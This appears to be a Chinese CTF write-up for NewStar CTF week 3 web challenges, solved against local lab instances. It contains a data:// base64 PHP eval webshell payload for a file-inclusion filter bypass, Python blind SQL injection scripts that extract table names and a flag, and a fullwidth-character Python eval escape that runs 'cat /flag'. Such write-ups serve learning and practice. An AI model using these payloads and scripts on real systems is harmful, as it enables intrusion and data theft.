当前位置: 首页 > news >正文

NewStar CTF week3 web wp

week3

include me

题目打开过5秒就会自动跳转,赶紧冲手速把代码复制下来

<?php
highlight_file(__FILE__);
function waf(){
    if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
        die("兄弟你别包");
    };
}
if(isset($_GET['phpinfo'])){
    phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
    header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

传入参数iknow就可以防止跳转,看一下绕过,大致都被禁用了,根据伪协议提示想到data协议,但是php也被禁用了,于是只能翻文档,找到编码绕过在这里插入图片描述

payload:
http://127.0.0.1:63097/?iknow=1&data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

看wp时发现一些细节需要注意

  • 编码后最后不能是+,会被解析成空格
  • 如果密文中带=号被过滤,可以采取明文前多加几个空格的方法
    在这里插入图片描述

blindsql1

提示盲注,进来随便尝试一下,发现不给回显,一些关键词可能被禁用
在这里插入图片描述
测试一下,发现空格,union,=,/都被过滤了

  • =号的绕过可以用like或in
  • 空格和/的绕过可以用括号
  • and前面是字符串或者括号可以不加空格

写一个盲注脚本,利用name=alice and 猜测值=实际值,如果猜对,and后面是true,alice的信息会被带出,注意要在alice的后面加上’来闭合
记录一下写脚本时候踩的坑

  • 当用like或in代替=时,两边的数据都要加上(),不然会被识别成一整个字符串
  • ord(c)一定要放到{}里面,因为这是python的代码,sql不会执行
import string,time,tqdm,requests
url='http://127.0.0.1:62459/'
result=''
for i in tqdm.trange(1,100):
    for c in string.digits+string.ascii_letters+'_-':
        time.sleep(0.2)
        tables='(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'
        char=f'ord(mid({tables},{i},1))'
        bl=f'(({char})in({ord(c)}))'
        p=f'Alice\'and({bl})#'
        response=requests.get(url,params={'student_name':p})
        if 'Alice' in response.text:
            result+=c
            print(result)
            break

到25时爆破速率明显减慢,猜测只有这几张表在这里插入图片描述
courses,secrets,students
接下来爆破secrects列名
在这里插入图片描述
随后在三列中翻翻flag

for i in tqdm.trange(1,100):
    for c in string.digits+string.ascii_letters+string.punctuation:
        time.sleep(0.2)
        tables='(select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
        char=f'ord(mid({tables},{i},1))'
        bl=f'(({char})in({ord(c)}))'
        p=f'Alice\'and({bl})#'
        response=requests.get(url,params={'student_name':p})
        if 'Alice' in response.text:
            result+=c
            print(result)
            break

臭皮的计算机

根据提示进入到/calc,随便测一下,发现会返回报错信息,且输出使用print(eval),测试system,有特殊信息,说明应该是要绕过执行命令在这里插入图片描述
连续测了system,shell_exec,phpinfo,似乎全都被禁用了,开源代码看一下,发现能看到代码逻辑,且字母全被过滤了在这里插入图片描述
做不下去了,开wp看一看,提到用全角字符绕过,Google一下在这里插入图片描述
因为是python脚本,所以不能直接用system,在这里也是学到一个新姿势在这里插入图片描述
在这里插入图片描述
转为全角字符时报错,猜测是因为括号内字符不能继续用全角,采用chr函数或八进制绕过

str='oscatflag'
res=''
for i in str:
    res+=f'chr({ord(i)})+'
print(res)

结果又被禁用了,看wp一下子想通了,全角字符在当作函数名或者import使用时可以正常运行,所以数字和括号需要用半角字符

_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

臭皮踩踩背

这道题似乎出什么问题了
在这里插入图片描述

这照片是你吗

触及到知识盲区了,顺着wp做一做
在这里插入图片描述
静态文件的提示,说明应该去找可读文件,随后,从响应标头里找到疑似flask框架的信息在这里插入图片描述
随后,根据flask框架,猜测主程序名是app.py在这里插入图片描述
路径穿越回根目录看一下,被禁止访问了,但是可以访问下级目录,试试看一些默认位置

在这里插入图片描述
之后因为本地抓包的配置一直没弄好,就一直卡在这里了

相关文章:

  • 玩转python:掌握Python数据结构之栈Stack
  • SPI学习笔记
  • 数电笔记——第二章 逻辑代数基础(二)
  • seacmsv9报错注入管理员密码+orderby+limit
  • Django下防御Race Condition
  • 【时间序列】因果推断:从时序数据中探寻“因”与“果”
  • GStreamer —— 2.9、Windows下Qt加载GStreamer库后运行 - “教程9:媒体信息收集“(附:完整源码)
  • WebSocket(WS)协议系列(四)SSL/TLS协议
  • flask学习3-深入
  • ConcurrentHashMap底层原理
  • RK3588部署YOLOv8(2):OpenCV和RGA实现模型前处理对比
  • 网络安全需要报班学习吗?
  • 重塑未来:生成式AI如何重构企业数据基因?三大技术重构的生死局
  • Paper Reading | AI 数据库融合经典论文回顾
  • ‌HTTP/1.0、HTTP/2.0和HTTP/3.0的区别
  • Pytest自动化框架
  • 深入理解 JavaScript 执行上下文
  • 【LTSPCIE】D触发器的搜索和使用
  • K8S高可用Web应用部署方案
  • Docker网络设置
  • wordpress整站无刷新/搜索引擎排名优化包括哪些方面
  • wordpress 关闭某个插件的更新/焦作整站优化
  • 徐州手机网站制作/搜索引擎营销sem包括
  • 高端网站建设服务/百度前三推广
  • 怎么查网站是哪家制作公司做的/建站优化公司
  • 做网站映射tcp/长治网站seo